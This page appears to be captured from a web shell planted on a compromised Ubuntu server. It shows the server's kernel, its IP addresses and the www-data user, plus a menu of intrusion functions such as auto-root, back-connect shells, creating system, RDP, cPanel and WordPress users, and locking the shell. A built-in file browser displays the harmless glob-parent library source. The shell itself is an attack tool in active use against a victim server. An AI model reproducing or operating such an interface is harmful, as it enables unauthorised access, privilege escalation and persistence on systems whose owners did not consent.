Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
glob-parent /
[ HOME SHELL ]
Name
Size
Permission
Action
LICENSE
857
B
-rw-rw-rw-
README.md
4.1
KB
-rw-rw-rw-
index.js
1.58
KB
-rw-rw-rw-
package.json
1.03
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.js
'use strict'; var isGlob = require('is-glob'); var pathPosixDirname = require('path').posix.dirname; var isWin32 = require('os').platform() === 'win32'; var slash = '/'; var backslash = /\\/g; var escaped = /\\([!*?|[\](){}])/g; /** * @param {string} str * @param {Object} opts * @param {boolean} [opts.flipBackslashes=true] */ module.exports = function globParent(str, opts) { var options = Object.assign({ flipBackslashes: true }, opts); // flip windows path separators if (options.flipBackslashes && isWin32 && str.indexOf(slash) < 0) { str = str.replace(backslash, slash); } // special case for strings ending in enclosure containing path separator if (isEnclosure(str)) { str += slash; } // preserves full path in case of trailing path separator str += 'a'; // remove path parts that are globby do { str = pathPosixDirname(str); } while (isGlobby(str)); // remove escape chars and return result return str.replace(escaped, '$1'); }; function isEnclosure(str) { var lastChar = str.slice(-1); var enclosureStart; switch (lastChar) { case '}': enclosureStart = '{'; break; case ']': enclosureStart = '['; break; default: return false; } var foundIndex = str.indexOf(enclosureStart); if (foundIndex < 0) { return false; } return str.slice(foundIndex + 1, -1).includes(slash); } function isGlobby(str) { if (/\([^()]+$/.test(str)) { return true; } if (str[0] === '{' || str[0] === '[') { return true; } if (/[^\\][{[]/.test(str)) { return true; } return isGlob(str); }
Close